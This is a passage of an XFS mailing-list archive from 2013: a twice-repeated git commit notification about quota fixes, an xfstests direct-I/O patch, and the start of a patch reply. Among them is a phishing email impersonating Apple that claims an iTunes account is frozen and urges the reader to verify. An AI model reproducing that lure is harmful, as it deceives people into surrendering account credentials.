xfs: make quota metadata truncation behavior consistent to user space from ef701600fd26cace9d513ee174688a2b83832126 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit c91c46c12768daac8486dff0f74bc52c2ec974cd Author: Christoph Hellwig Date: Mon Nov 18 05:10:52 2013 -0800 xfs: add xfs_setattr_time Split out a xfs_setattr_time helper to share code between truncate and regular setattr similar to xfs_setattr_mode. I might also have another caller growing for this in the near future. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers commit 0c3d88dfcedf92b28d759182ecb33f2808dc3e59 Author: Christoph Hellwig Date: Mon Nov 18 05:10:40 2013 -0800 xfs: tiny xfs_setattr_mode cleanup Remove the pointless tp argument, and properly align the local variable declarations. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers commit 37eb9706ebf5b99d14c6086cdeef2c2f73f9c9fb Author: Jie Liu Date: Tue Nov 26 21:38:54 2013 +0800 xfs: fix false assertion at xfs_qm_vop_create_dqattach After the previous fix, there still has another ASSERT failure if turning off any type of quota while fsstress is running at the same time. Backtrace in this case: [ 50.867897] XFS: Assertion failed: XFS_IS_GQUOTA_ON(mp), file: fs/xfs/xfs_qm.c, line: 2118 [ 50.867924] ------------[ cut here ]------------ ... [ 50.867957] Kernel BUG at ffffffffa0b55a32 [verbose debug info unavailable] [ 50.867999] invalid opcode: 0000 [#1] SMP [ 50.869407] Call Trace: [ 50.869446] [] xfs_qm_vop_create_dqattach+0x19a/0x2d0 [xfs] [ 50.869512] [] xfs_create+0x5c5/0x6a0 [xfs] [ 50.869564] [] xfs_vn_mknod+0xac/0x1d0 [xfs] [ 50.869615] [] xfs_vn_mkdir+0x16/0x20 [xfs] [ 50.869655] [] vfs_mkdir+0x95/0x130 [ 50.869689] [] SyS_mkdirat+0xaa/0xe0 [ 50.869723] [] SyS_mkdir+0x19/0x20 [ 50.869757] [] system_call_fastpath+0x1a/0x1f [ 50.869793] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 [ 50.870003] RIP [] assfail+0x22/0x30 [xfs] [ 50.870050] RSP [ 50.879251] ---[ end trace c93a2b342341c65b ]--- We're hitting the ASSERT(XFS_IS_*QUOTA_ON(mp)) in xfs_qm_vop_create_dqattach(), however the assertion itself is not right IMHO. While performing quota off, we firstly clear the XFS_*QUOTA_ACTIVE bit(s) from struct xfs_mount without taking any special locks, see xfs_qm_scall_quotaoff(). Hence there is no guarantee that the desired quota is still active. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit afbd123db4e72d5fe44db235976af64a22b32976 Author: Jie Liu Date: Sat Nov 23 00:15:43 2013 +0800 xfs: integrate xfs_quota_priv header file to xfs_qm The xfs_quota_priv header file is only included by xfs_qm header and there is no much users for its contents, hence we can move those stuff to xfs_qm header file and kill it. This patch also remove an unused macro DQFLAGTO_TYPESTR. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit c61a9e39f637373929a110ad2a5922a2e8b00f4c Author: Jie Liu Date: Fri Nov 22 14:04:00 2013 +0800 xfs: make quota metadata truncation behavior consistent to user space In xfs_qm_scall_trunc_qfiles(), we ignore the error if failed to remove the users quota metadata and proceed to remove groups and projects if they are being there. However, in user space, the remove operation will break and return if failed to remove any kind of quota. Also for v5 super block, we can enabled both group and project quota at the same time, in this case the current error handling will cover the group error with projects but they might failed due to different reasons. It seems we'd better the error handling consistent to the user space and don't trying to remove another kind of quota metadata if the previous operation is failed. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 76 ++++++++++++++++++++++-------------------------- fs/xfs/xfs_qm.c | 9 ++---- fs/xfs/xfs_qm.h | 18 +++++++++++- fs/xfs/xfs_qm_syscalls.c | 18 ++++++++---- fs/xfs/xfs_quota_priv.h | 42 -------------------------- 5 files changed, 66 insertions(+), 97 deletions(-) delete mode 100644 fs/xfs/xfs_quota_priv.h hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Fri Dec 6 17:44:21 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id A6E9E29E24; Fri, 6 Dec 2013 17:44:21 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, for-next, updated. xfs-for-linus-v3.13-rc1-2-13374-gc91c46c X-Git-Refname: refs/heads/for-next X-Git-Reftype: branch X-Git-Oldrev: ef701600fd26cace9d513ee174688a2b83832126 X-Git-Newrev: c91c46c12768daac8486dff0f74bc52c2ec974cd Message-Id: <20131206234421.A6E9E29E24@oss.sgi.com> Date: Fri, 6 Dec 2013 17:44:20 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, for-next has been updated c91c46c xfs: add xfs_setattr_time 0c3d88d xfs: tiny xfs_setattr_mode cleanup 37eb970 xfs: fix false assertion at xfs_qm_vop_create_dqattach afbd123 xfs: integrate xfs_quota_priv header file to xfs_qm c61a9e3 xfs: make quota metadata truncation behavior consistent to user space from ef701600fd26cace9d513ee174688a2b83832126 (commit) Those revisions listed above that are new to this repository have not appeared on any other notification email; so we list those revisions in full, below. - Log ----------------------------------------------------------------- commit c91c46c12768daac8486dff0f74bc52c2ec974cd Author: Christoph Hellwig Date: Mon Nov 18 05:10:52 2013 -0800 xfs: add xfs_setattr_time Split out a xfs_setattr_time helper to share code between truncate and regular setattr similar to xfs_setattr_mode. I might also have another caller growing for this in the near future. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers commit 0c3d88dfcedf92b28d759182ecb33f2808dc3e59 Author: Christoph Hellwig Date: Mon Nov 18 05:10:40 2013 -0800 xfs: tiny xfs_setattr_mode cleanup Remove the pointless tp argument, and properly align the local variable declarations. Signed-off-by: Christoph Hellwig Reviewed-by: Brian Foster Signed-off-by: Ben Myers commit 37eb9706ebf5b99d14c6086cdeef2c2f73f9c9fb Author: Jie Liu Date: Tue Nov 26 21:38:54 2013 +0800 xfs: fix false assertion at xfs_qm_vop_create_dqattach After the previous fix, there still has another ASSERT failure if turning off any type of quota while fsstress is running at the same time. Backtrace in this case: [ 50.867897] XFS: Assertion failed: XFS_IS_GQUOTA_ON(mp), file: fs/xfs/xfs_qm.c, line: 2118 [ 50.867924] ------------[ cut here ]------------ ... [ 50.867957] Kernel BUG at ffffffffa0b55a32 [verbose debug info unavailable] [ 50.867999] invalid opcode: 0000 [#1] SMP [ 50.869407] Call Trace: [ 50.869446] [] xfs_qm_vop_create_dqattach+0x19a/0x2d0 [xfs] [ 50.869512] [] xfs_create+0x5c5/0x6a0 [xfs] [ 50.869564] [] xfs_vn_mknod+0xac/0x1d0 [xfs] [ 50.869615] [] xfs_vn_mkdir+0x16/0x20 [xfs] [ 50.869655] [] vfs_mkdir+0x95/0x130 [ 50.869689] [] SyS_mkdirat+0xaa/0xe0 [ 50.869723] [] SyS_mkdir+0x19/0x20 [ 50.869757] [] system_call_fastpath+0x1a/0x1f [ 50.869793] Code: 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55 48 89 [ 50.870003] RIP [] assfail+0x22/0x30 [xfs] [ 50.870050] RSP [ 50.879251] ---[ end trace c93a2b342341c65b ]--- We're hitting the ASSERT(XFS_IS_*QUOTA_ON(mp)) in xfs_qm_vop_create_dqattach(), however the assertion itself is not right IMHO. While performing quota off, we firstly clear the XFS_*QUOTA_ACTIVE bit(s) from struct xfs_mount without taking any special locks, see xfs_qm_scall_quotaoff(). Hence there is no guarantee that the desired quota is still active. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit afbd123db4e72d5fe44db235976af64a22b32976 Author: Jie Liu Date: Sat Nov 23 00:15:43 2013 +0800 xfs: integrate xfs_quota_priv header file to xfs_qm The xfs_quota_priv header file is only included by xfs_qm header and there is no much users for its contents, hence we can move those stuff to xfs_qm header file and kill it. This patch also remove an unused macro DQFLAGTO_TYPESTR. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit c61a9e39f637373929a110ad2a5922a2e8b00f4c Author: Jie Liu Date: Fri Nov 22 14:04:00 2013 +0800 xfs: make quota metadata truncation behavior consistent to user space In xfs_qm_scall_trunc_qfiles(), we ignore the error if failed to remove the users quota metadata and proceed to remove groups and projects if they are being there. However, in user space, the remove operation will break and return if failed to remove any kind of quota. Also for v5 super block, we can enabled both group and project quota at the same time, in this case the current error handling will cover the group error with projects but they might failed due to different reasons. It seems we'd better the error handling consistent to the user space and don't trying to remove another kind of quota metadata if the previous operation is failed. Signed-off-by: Jie Liu Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers ----------------------------------------------------------------------- Summary of changes: fs/xfs/xfs_iops.c | 76 ++++++++++++++++++++++-------------------------- fs/xfs/xfs_qm.c | 9 ++---- fs/xfs/xfs_qm.h | 18 +++++++++++- fs/xfs/xfs_qm_syscalls.c | 18 ++++++++---- fs/xfs/xfs_quota_priv.h | 42 -------------------------- 5 files changed, 66 insertions(+), 97 deletions(-) delete mode 100644 fs/xfs/xfs_quota_priv.h hooks/post-receive -- XFS development tree From www-data@www03.systray.be Fri Dec 6 19:13:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY, T_FILL_THIS_FORM_SHORT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 14C9129E09 for ; Fri, 6 Dec 2013 19:13:16 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 86793AC004 for ; Fri, 6 Dec 2013 17:13:15 -0800 (PST) X-ASG-Debug-ID: 1386378787-04cbb041685a5cb0001-NocioJ Received: from www03.systray.be (www03.systray.be [81.95.114.163]) by cuda.sgi.com with ESMTP id UdfKfL1kOWA3ODUk for ; Fri, 06 Dec 2013 17:13:09 -0800 (PST) X-Barracuda-Envelope-From: www-data@www03.systray.be X-Barracuda-Apparent-Source-IP: 81.95.114.163 Received: by www03.systray.be (Postfix, from userid 33) id 3DAFC555854; Sat, 7 Dec 2013 02:11:29 +0100 (CET) To: xfs@oss.sgi.com Subject: Your itunes account has been frozen because we are unable to validate your account information. From: Apple service X-ASG-Orig-Subj: Your itunes account has been frozen because we are unable to validate your account information. Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit Message-Id: <20131207011129.3DAFC555854@www03.systray.be> Date: Sat, 7 Dec 2013 02:11:29 +0100 (CET) X-Barracuda-Connect: www03.systray.be[81.95.114.163] X-Barracuda-Start-Time: 1386378789 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, MIME_HTML_ONLY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142903 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message
Dear Valued Customer,

Confirmation of your Apple ID gives you easy access to a variety of Apple services, including the iTunes Store, Apple Online Store, iChat, and more. We will not share your information with anyone else unless you authorize us to do so.

Verify Now >

Wondering why you got this email?
It's sent when someone adds or changes a contact email address for an Apple ID account. If you didn't do this, don't worry. Your email address cannot be used as a contact address for an Apple ID without your verification.

For more information, see our frequently asked questions.

Thanks,
Apple Customer Support
From gnehzuil.liu@gmail.com Fri Dec 6 21:52:05 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A77329E09 for ; Fri, 6 Dec 2013 21:52:05 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 20147304032 for ; Fri, 6 Dec 2013 19:52:02 -0800 (PST) X-ASG-Debug-ID: 1386388319-04cb6c537e59f410001-NocioJ Received: from mail-pd0-f172.google.com (mail-pd0-f172.google.com [209.85.192.172]) by cuda.sgi.com with ESMTP id U6dymFBtPAYSsCix (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 06 Dec 2013 19:52:00 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.172 Received: by mail-pd0-f172.google.com with SMTP id g10so2051079pdj.17 for ; Fri, 06 Dec 2013 19:51:59 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=UGIuM2RnCb73pakZlji+VhYxPLxvXD7gJrV/Si8XuJI=; b=rfgc9E8WAWwYIRyL9wWMYnrb7AWaZyniaITGqw0QhJvDOFDQXRWoTV1RKRmDsVkm3u +rTLiwXozvcLcdK4v4+mx81OrxgmFDBE2yM97t7VuU8MKw7jTZAiHio7tbq+TsCWx2az LNT3SeuTgRcjur8ORQpR98ABiggLPOodiJgSBCpwplImdilCMxVkDAkT3EqIKIacY8wp 7WN5ZY+EMnNLIeqYlFX5qfHKI+hB0WP9E0kf3bUvT7+njIR4l5rc168aN2/mJoDyBzP/ vhZtXMxN5RWFML2zaiYHjSaLpziMLTPcju1cuIu3GMK8gxPUq0A3N5y9jFcEYYuetqQw Qsug== X-Barracuda-BBL-IP: nil X-Received: by 10.66.141.144 with SMTP id ro16mr7917638pab.131.1386388319330; Fri, 06 Dec 2013 19:51:59 -0800 (PST) Received: from gmail.com ([182.92.247.2]) by mx.google.com with ESMTPSA id ki1sm1155412pbd.1.2013.12.06.19.51.56 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Fri, 06 Dec 2013 19:51:58 -0800 (PST) Date: Sat, 7 Dec 2013 11:54:59 +0800 X-Barracuda-Apparent-Source-IP: 182.92.247.2 From: Zheng Liu To: xfs@oss.sgi.com Cc: Christoph Hellwig , Rich Johnston , Dave Chinner , Zheng Liu Subject: Re: [PATCH v2] xfstests: add a new test case to test i_size updated properly under dio Message-ID: <20131207035459.GA13892@gmail.com> X-ASG-Orig-Subj: Re: [PATCH v2] xfstests: add a new test case to test i_size updated properly under dio References: <1385625944-21915-1-git-send-email-wenqing.lz@taobao.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1385625944-21915-1-git-send-email-wenqing.lz@taobao.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pd0-f172.google.com[209.85.192.172] X-Barracuda-Start-Time: 1386388319 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142906 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Thu, Nov 28, 2013 at 04:05:44PM +0800, Zheng Liu wrote: > From: Zheng Liu > > In this commit a new test case is added to test that i_size is updated > properly under dio reads/writes. We add a program in /src dir, which > has a writer to issue some append dio writes. Meanwhile it has a > reader in this test do some dio reads. As we expect, reader should read > nothing or data with 'a'. But it might read some data with '0'. > > This program is used to simulate binary log operations of database > application. In these applications it implements an master/slave > synchronziation for database. > > Cc: Christoph Hellwig > Cc: Rich Johnston > Cc: Dave Chinner > Signed-off-by: Zheng Liu Any comment? Thanks, - Zheng > --- > changelog v2: > * add '-lpthread' into LLDLIBS > > aclocal.m4 | 1 + > configure.ac | 1 + > include/builddefs.in | 1 + > src/Makefile | 4 +- > src/diotest.c | 166 +++++++++++++++++++++++++++++++++++++++++++++++++ > tests/generic/321 | 56 +++++++++++++++++ > tests/generic/321.out | 1 + > tests/generic/group | 1 + > 8 files changed, 229 insertions(+), 2 deletions(-) > create mode 100644 src/diotest.c > create mode 100755 tests/generic/321 > create mode 100644 tests/generic/321.out > > diff --git a/aclocal.m4 b/aclocal.m4 > index f3412e1..89bb816 100644 > --- a/aclocal.m4 > +++ b/aclocal.m4 > @@ -44,6 +44,7 @@ m4_include([m4/package_attrdev.m4]) > m4_include([m4/package_dmapidev.m4]) > m4_include([m4/package_gdbmdev.m4]) > m4_include([m4/package_globals.m4]) > +m4_include([m4/package_pthread.m4]) > m4_include([m4/package_ssldev.m4]) > m4_include([m4/package_utilies.m4]) > m4_include([m4/package_uuiddev.m4]) > diff --git a/configure.ac b/configure.ac > index bd48fd9..5eba21a 100644 > --- a/configure.ac > +++ b/configure.ac > @@ -62,6 +62,7 @@ in > AC_PACKAGE_NEED_SYS_ACL_H > AC_PACKAGE_NEED_ACL_LIBACL_H > AC_PACKAGE_NEED_ACLINIT_LIBACL > + AC_PACKAGE_NEED_PTHREADMUTEXINIT > > AC_PACKAGE_WANT_GDBM > AC_PACKAGE_WANT_AIO > diff --git a/include/builddefs.in b/include/builddefs.in > index 24f838f..d612ac1 100644 > --- a/include/builddefs.in > +++ b/include/builddefs.in > @@ -23,6 +23,7 @@ LIBGDBM = @libgdbm@ > LIBUUID = @libuuid@ > LIBHANDLE = @libhdl@ > LIBDM = @libdm@ > +LIBPTHREAD = @libpthread@ > LIBTEST = $(TOPDIR)/lib/libtest.la > > PKG_NAME = @pkg_name@ > diff --git a/src/Makefile b/src/Makefile > index 84c8297..f0fa9b9 100644 > --- a/src/Makefile > +++ b/src/Makefile > @@ -18,11 +18,11 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ > locktest unwritten_mmap bulkstat_unlink_test t_stripealign \ > bulkstat_unlink_test_modified t_dir_offset t_futimens t_immutable \ > stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ > - seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec > + seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec diotest > > SUBDIRS = > > -LLDLIBS = $(LIBATTR) $(LIBHANDLE) $(LIBACL) > +LLDLIBS = $(LIBATTR) $(LIBHANDLE) $(LIBACL) $(LIBPTHREAD) > > ifeq ($(HAVE_XLOG_ASSIGN_LSN), true) > LINUX_TARGETS += loggen > diff --git a/src/diotest.c b/src/diotest.c > new file mode 100644 > index 0000000..7d2378f > --- /dev/null > +++ b/src/diotest.c > @@ -0,0 +1,166 @@ > +/* > + * Copyright (c) 2013 Alibaba Group. > + * All Rights Reserved. > + * > + * This program is free software; you can redistribute it and/or > + * modify it under the terms of the GNU General Public License as > + * published by the Free Software Foundation. > + * > + * This program is distributed in the hope that it would be useful, > + * but WITHOUT ANY WARRANTY; without even the implied warranty of > + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > + * GNU General Public License for more details. > + * > + * You should have received a copy of the GNU General Public License > + * along with this program; if not, write the Free Software Foundation, > + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > + */ > + > +/* > + * This is a normal case that we do some append dio writes and meanwhile > + * we do some dio reads. Currently in vfs we don't ensure that i_size > + * is updated properly. Hence the reader will read some data with '0'. > + * But we expect that the reader should read nothing or data with 'a'. > + */ > + > +#include > +#include > +#include > + > +#include > +#include > +#include > +#include > +#include > + > +#include > + > +static char *prog; > + > +struct writer_data { > + int fd; > + size_t blksize; > + char *buf; > +}; > + > +static void usage(void) > +{ > + fprintf(stderr, "usage: %s [FILE]\n", prog); > +} > + > +static void *writer(void *arg) > +{ > + struct writer_data *data = (struct writer_data *)arg; > + int ret; > + > + ret = write(data->fd, data->buf, data->blksize); > + if (ret < 0) > + fprintf(stderr, "write file failed: %s\n", strerror(errno)); > + > + return NULL; > +} > + > +int main(int argc, char *argv[]) > +{ > + pthread_t tid; > + struct writer_data wdata; > + size_t max_blocks = 128; /* 128 */ > + size_t blksize = 1 * 1024 * 1024; /* 1M */ > + char *rbuf = NULL, *wbuf = NULL; > + int rfd = 0, wfd = 0; > + int i, j; > + int ret = 0; > + > + prog = basename(argv[0]); > + > + if (argc != 2) { > + usage(); > + exit(1); > + } > + > + wfd = open(argv[1], O_CREAT|O_DIRECT|O_WRONLY|O_APPEND|O_TRUNC, S_IRWXU); > + if (wfd < 0) { > + fprintf(stderr, "failed to open write file: %s\n", > + strerror(errno)); > + exit(1); > + } > + > + rfd = open(argv[1], O_DIRECT|O_RDONLY, S_IRWXU); > + if (wfd < 0) { > + fprintf(stderr, "failed to open read file: %s\n", > + strerror(errno)); > + ret = 1; > + goto err; > + } > + > + /* > + * We set 1024 as an alignment size for write buf. Feel free to change > + * it with 4096. But the problem is also hitted. > + */ > + if (posix_memalign((void **)&wbuf, 1024, blksize)) { > + fprintf(stderr, "failed to alloc memory: %s\n", strerror(errno)); > + ret = 1; > + goto err; > + } > + > + if (posix_memalign((void **)&rbuf, 4096, blksize)) { > + fprintf(stderr, "failed to alloc memory: %s\n", strerror(errno)); > + ret = 1; > + goto err; > + } > + > + memset(wbuf, 'a', blksize); > + wdata.fd = wfd; > + wdata.blksize = blksize; > + wdata.buf = wbuf; > + > + for (i = 0; i < max_blocks; i++) { > + void *retval; > + > + if (pthread_create(&tid, NULL, writer, &wdata)) { > + fprintf(stderr, "create thread failed: %s\n", > + strerror(errno)); > + ret = 1; > + goto err; > + } > + > + memset(rbuf, 'b', blksize); > + do { > + ret = pread(rfd, rbuf, blksize, i * blksize); > + if (ret < 0) > + fprintf(stderr, "read file failed: %s\n", > + strerror(errno)); > + } while (ret <= 0); > + > + if (pthread_join(tid, &retval)) { > + fprintf(stderr, " pthread join failed: %s\n", > + strerror(errno)); > + ret = 1; > + goto err; > + } > + > + if (ret >= 0) { > + for (j = 0; j < ret; j ++) { > + if (rbuf[j] != 'a') { > + fprintf(stderr, "encounter an error: " > + "offset %d content %c\n", > + i, rbuf[j]); > + ret = 1; > + goto err; > + } > + } > + } > + } > + > +err: > + if (rfd) > + close(rfd); > + if (wfd) > + close(wfd); > + if (rbuf) > + free(rbuf); > + if (wbuf) > + free(wbuf); > + > + return ret; > +} > diff --git a/tests/generic/321 b/tests/generic/321 > new file mode 100755 > index 0000000..372d23a > --- /dev/null > +++ b/tests/generic/321 > @@ -0,0 +1,56 @@ > +#! /bin/bash > +# FS QA Test No. 321 > +# > +# Test i_size is updated properly under dio read/write > +# > +#----------------------------------------------------------------------- > +# Copyright (c) 2013 Alibaba Group. All Rights Reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 # failure is the default! > +trap "_cleanup; exit \$status" 0 1 2 3 15 > + > +_cleanup() > +{ > + cd / > + rm -f $tmp.* $testfile > +} > + > +# get standard environment, filters and checks > +. ./common/rc > +. ./common/filter > + > +# real QA test starts here > +_supported_fs generic > +_supported_os Linux > + > +testfile=$TEST_DIR/$seq.$$ > + > +[ -x $here/src/diotest ] || _notrun "diotest not built" > + > +$here/src/diotest $testfile > $seqres.full 2>&1 || > + _fail "i_size isn't update properly!" > + > +# success, all done > +status=0 > +exit > diff --git a/tests/generic/321.out b/tests/generic/321.out > new file mode 100644 > index 0000000..0cda9e4 > --- /dev/null > +++ b/tests/generic/321.out > @@ -0,0 +1 @@ > +QA output created by 321 > diff --git a/tests/generic/group b/tests/generic/group > index 40da6dc..0b86d9f 100644 > --- a/tests/generic/group > +++ b/tests/generic/group > @@ -123,3 +123,4 @@ > 318 acl attr auto quick > 319 acl auto quick > 320 auto rw > +321 auto rw quick > -- > 1.7.9.7 > From jeff.liu@oracle.com Fri Dec 6 23:52:03 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 101FA29E09 for ; Fri, 6 Dec 2013 23:52:03 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id D41098F8050 for ; Fri, 6 Dec 2013 21:52:02 -0800 (PST) X-ASG-Debug-ID: 1386395520-04cb6c537b5a45e0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id PdTrw2TolVilO1Fi (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Fri, 06 Dec 2013 21:52:00 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet21.oracle.com (ucsinet21.oracle.com [156.151.31.93]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id rB75pU5q029514 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 7 Dec 2013 05:51:31 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by ucsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB75pUed025810 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 7 Dec 2013 05:51:30 GMT Received: from ubhmt111.oracle.com (ubhmt111.oracle.com [156.151.24.16]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id rB75pTW3025795; Sat, 7 Dec 2013 05:51:30 GMT Received: from [192.168.1.104] (/114.248.195.241) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Fri, 06 Dec 2013 21:51:29 -0800 Message-ID: <52A2B75C.3040803@oracle.com> Date: Sat, 07 Dec 2013 13:51:24 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Ben Myers , Christoph Hellwig CC: "xfs@oss.sgi.com" Subject: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot References: <5294A469.1060000@oracle.com> <20131128104336.GE26927@infradead.org> <52986001.9040101@oracle.com> <20131206210137.GT1935@sgi.com> X-ASG-Orig-Subj: Re: [PATCH v2 2/3] xfs: fix infinite loop by detaching the group/project hints from user dquot In-Reply-To: <20131206210137.GT1935@sgi.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet21.oracle.com [156.151.31.93] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1386395520 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.142908 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Ben, On 12/07 2013 05:01 AM, Ben Myers wrote: > Hey Jeff, > > On Fri, Nov 29, 2013 at 05:36:01PM +0800, Jeff Liu wrote: >> On 11/28 2013 18:43 PM, Christoph Hellwig wrote: >>> On Tue, Nov 26, 2013 at 09:38:49PM +0800, Jeff Liu wrote: >>>> + if 